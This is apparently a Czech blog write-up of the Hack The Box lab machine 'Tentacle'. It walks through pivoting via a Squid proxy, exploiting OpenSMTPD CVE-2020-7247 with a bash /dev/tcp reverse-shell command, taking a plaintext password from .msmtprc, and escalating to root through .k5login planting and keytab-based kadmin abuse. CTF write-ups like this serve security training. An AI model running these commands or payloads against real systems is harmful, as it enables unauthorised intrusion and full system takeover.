tom@home.htb:~$

Blog o HTB

HTB stroje Techniky Nástroje Co je HTB Tagy RSS
23 January 2021

Tentacle

Úvod a kontext

Tentacle je stroj rozdělený na dvě odlišné fáze. První je síťová: z veřejně dostupného Squid proxy je potřeba objevit interní rozsahy, projít přes ně a najít další službu, která vůbec není vidět zvenku. Druhá je čistě o Kerberosu v Linux prostředí: získané heslo neotevře rovnou SSH, ale stane se vstupem do realm REALCORP.HTB, odkud se teprve dá postupovat dál.

Z edukativního pohledu je nejcennější právě to řetězení. Žádný krok sám o sobě nestačí. Proxy prozradí interní síť, WPAD odhalí další segment, OpenSMTPD dá foothold a až z konfiguračního souboru na kompromitovaném hostu vypadne heslo použitelné pro Kerberos. Právě proto se Tentacle dobře doplňuje s články Síťová topologie jako leak: WPAD, Squid, FXP a interní mapování, WHOIS, DNS a AXFR jako reálná útočná plocha a Port forwarding, proxy a protokolové mosty jako exploitační primitivum.

Počáteční průzkum

Vyhledání otevřených portů

Nejprve mapuji veřejné služby. Tady už první scan ukazuje, že stroj nebude jen běžný Linux webserver.

ports=$(nmap -p- --min-rate=1000 -T4 -Pn $IP | grep ^[0-9] | cut -d "/" -f 1 | tr "\n" "," | sed s/,$//);echo $ports;nmap -p $ports -A -sC -sV -v -Pn $IP

PORT     STATE  SERVICE      VERSION
22/tcp   open   ssh          OpenSSH 8.0
53/tcp   open   domain       ISC BIND 9.11.20
88/tcp   open   kerberos-sec MIT Kerberos
3128/tcp open   http-proxy   Squid http proxy 4.11

Kerberos na veřejném rozhraní je neobvyklý, ale v první fázi ještě nic neřeší. Nejdůležitější je Squid na 3128, protože proxy často funguje jako most do neveřejných částí infrastruktury.

DNS a interní názvy

Enumerace zóny realcorp.htb odhalila dva důležité interní hosty, tedy přesně ten moment, kdy se DNS mění z pasivní informace na navigaci k dalšímu segmentu:

ns.realcorp.htb        -> 10.197.243.77
proxy.realcorp.htb     -> ns.realcorp.htb
wpad.realcorp.htb      -> 10.197.243.31

To dává první směr: přes veřejný Squid lze zkusit enumerovat interní adresy v rozsahu 10.197.243.0/24.

Analýza zjištění

WPAD jako mapa dalších sítí

Po nastavení proxychains přes veřejný Squid šlo osahat interní web na wpad.realcorp.htb a stáhnout wpad.dat. Praktickou roli tohoto nástroje v podobných pivotech rozebírám i v článku Proxychains:

proxychains curl http://wpad.realcorp.htb/wpad.dat

function FindProxyForURL(url, host) {
    if (dnsDomainIs(host, "realcorp.htb"))
        return "DIRECT";
    if (isInNet(dnsResolve(host), "10.197.243.0", "255.255.255.0"))
        return "DIRECT"; 
    if (isInNet(dnsResolve(host), "10.241.251.0", "255.255.255.0"))
        return "DIRECT"; 

    return "PROXY proxy.realcorp.htb:3128";
}

To je zásadní stopa. WPAD soubor zde neřeší jen konfiguraci prohlížeče, ale přímo prozrazuje existenci dalšího interního rozsahu 10.241.251.0/24. Tím se z pomocného provozního souboru stává plnohodnotný topologický leak.

OpenSMTPD ve druhém interním segmentu

Po dalším scanování přes proxy se v novém rozsahu objevil host 10.241.251.113 s OpenSMTPD:

25/tcp open  smtp    OpenSMTPD

To je výborný kandidát na foothold, protože daná verze byla zranitelná vůči CVE-2020-7247. Exploit se pak proti internímu SMTP hostu spouštěl přes proxychains:

proxychains python3 exploit.py 10.241.251.113 25 'bash -c "exec bash -i &> /dev/tcp/10.10.14.22/4000 <&1"'

Výsledkem byl shell na interním mail hostu.

Heslo z .msmtprc

Na kompromitovaném hostu byla nejdůležitější stopa v souboru .msmtprc uživatele j.nakazawa:

user           j.nakazawa
password       sJB}RM>6Z~64_

Tady je klíčové správně pochopit, co heslo znamená. Není to jen heslo do lokální pošty. V prostředí REALCORP.HTB má smysl zkusit ho proti Kerberosu.

Získání přístupu

Kerberos TGT a SSH

Po nastavení krb5.conf pro realm REALCORP.HTB šlo získat TGT:

kinit j.nakazawa
klist

Jakmile je TGT k dispozici, dává smysl zkusit SSH na veřejný host přes Kerberos autentizaci:

ssh j.nakazawa@10.10.10.224

Tím vznikl stabilní přístup na hlavní server a bylo možné potvrdit user flag:

cat user.txt

__CENSORED__

Tahle fáze je důležitá právě tím, že heslo z .msmtprc nevedlo na shell přímo, ale přes tiketovou autentizaci do jiné služby.

Eskalace oprávnění

Cron job log_backup.sh

Na hostu běžel pravidelně job pod účtem admin:

* * * * * admin /usr/local/bin/log_backup.sh

Samotný skript byl nebezpečný tím, že nekriticky kopíroval obsah /var/log/squid/ do domovského adresáře admin, takže root část v sobě mísí dva vzorce: logy jako útokovou plochu a provozní automatiku jako zdroj přístupu:

/usr/bin/rsync -avz --no-perms --no-owner --no-group /var/log/squid/ /home/admin/

To znamená, že uživatel j.nakazawa, který do squid logů zapisovat mohl, dokázal adminovi podsunout i skryté soubory jako .k5login.

Převzetí účtu admin přes .k5login

Do /var/log/squid/ stačilo vložit soubor:

echo j.nakazawa@REALCORP.HTB > /var/log/squid/.k5login

Po dalším běhu jobu se tento soubor zkopíroval do /home/admin/.k5login, čímž se principal j.nakazawa@REALCORP.HTB stal oprávněným pro Kerberos login jako lokální uživatel admin.

Protože už byl k dispozici platný tiket z kinit, následný přechod byl přímočarý:

ssh admin@10.10.10.224

Keytab a kadmin

Účet admin už měl přístup k /etc/krb5.keytab, což je v Kerberos prostředí velmi citlivý soubor. Výpis ukázal, že obsahuje i principal pro správu realm:

klist -k /etc/krb5.keytab

Pak šlo použít kadmin bez znalosti hesla:

kadmin -k -t /etc/krb5.keytab -p kadmin/admin@REALCORP.HTB

S tímto oprávněním už stačilo přidat principal root@REALCORP.HTB a přepnout do něj přes ksu:

add_principal root@REALCORP.HTB
ksu root

Tím vznikl root shell a následně i přístup k root.txt.

Shrnutí klíčových poznatků

Co si odnést do praxe

Další související články

HTB Stroje

Techniky

Nástroje

tags: linux - kerberos - ssh - smtp - privesc